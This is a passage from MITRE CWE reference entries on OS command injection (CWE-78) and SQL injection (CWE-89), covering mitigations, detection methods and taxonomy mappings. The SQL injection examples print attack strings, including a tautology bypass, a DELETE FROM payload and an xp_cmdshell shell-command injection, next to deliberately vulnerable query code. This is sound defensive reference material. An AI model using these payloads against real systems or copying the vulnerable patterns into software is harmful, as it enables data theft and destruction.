Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Phase: Implementation

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Effectiveness: Moderate

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Functional Areas

Program Invocation

Affected Resources

System Process

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	810	OWASP Top Ten 2010 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	878	CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	CWE More Specific	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-78

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-108	Command Line Execution through SQL Injection
CAPEC-15	Command Delimiters
CAPEC-43	Exploiting Multiple Input Interpretation Layers
CAPEC-6	Argument Injection
CAPEC-88	OS Command Injection

References

[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>. URL validated: 2023-04-07.

[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/w/page/13246950/OS%20Commanding>. URL validated: 2023-04-07.

[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <https://www.w3.org/Security/Faq/wwwsf4.html>. URL validated: 2023-04-07.

[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <https://www.cgisecurity.com/lib/sips.html>. URL validated: 2023-04-07.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.

[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-78. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name, Related_Attack_Patterns
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description, Name, White_Box_Definitions
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Observed_Examples, References
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Detection_Factors
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Description, Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples, Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Observed_Examples, Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Demonstrative_Examples
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	OS Command Injection

2009-01-12	Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')

2009-05-27	Failure to Preserve OS Command Structure (aka 'OS Command Injection')

2009-07-27	Failure to Preserve OS Command Structure ('OS Command Injection')

2010-06-21	Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 89

View customized information:

Description

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	943	Improper Neutralization of Special Elements in Data Query Logic
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	564	SQL Injection: Hibernate
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	456	Missing Initialization of a Variable

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	564	SQL Injection: Hibernate

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	564	SQL Injection: Hibernate

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Implementation	This weakness typically appears in data-rich applications that save user inputs in a database.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.
Access Control	Technical Impact: Bypass Protection Mechanism If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
Access Control	Technical Impact: Bypass Protection Mechanism If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.
Integrity	Technical Impact: Modify Application Data Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(bad code)

Example Language: C#

...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

(informative)

SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(attack code)

name' OR 'a'='a

for itemName, then the query becomes the following:

(attack code)

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(attack code)

OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(attack code)

SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(attack code)

name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(attack code)

Example Language: SQL

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(attack code)

name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(attack code)

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

Target fields that are not quoted
Find ways to bypass the need for certain escaped meta-characters
Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(bad code)

procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(bad code)

SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(attack code)

'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(attack code)

SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5

This code intends to print a message summary given the message ID.

(bad code)

Example Language: PHP

$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(attack code)

1432' or '1' = '1

This would produce the resulting query:

(result)

SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(good code)

Example Language: PHP

$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(bad code)

Example Language: Perl

$userKey = getUserID();
$name = getUserInput();

# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

Observed Examples

Reference	Description
CVE-2023-32530	SQL injection in security product dashboard using crafted certificate fields
CVE-2021-42258	SQL injection in time and billing software, as exploited in the wild per CISA KEV.
CVE-2021-27101	SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV.
CVE-2020-12271	SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV.
CVE-2019-3792	An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data.
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2007-6602	SQL injection via user name.
CVE-2008-5817	SQL injection via user name or password fields.
CVE-2003-0377	SQL injection in security product, using a crafted group name.
CVE-2008-2380	SQL injection in authentication library.
CVE-2017-11508	SQL injection in vulnerability management and reporting tool, using a crafted password.

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

Phase: Implementation

Strategy: Output Encoding

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

Phase: Implementation

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Effectiveness: Moderate

Phases: Operation; Implementation

Strategy: Environment Hardening

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

Effectiveness: Moderate

Manual Analysis

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Database Scanners

Cost effective for partial coverage:

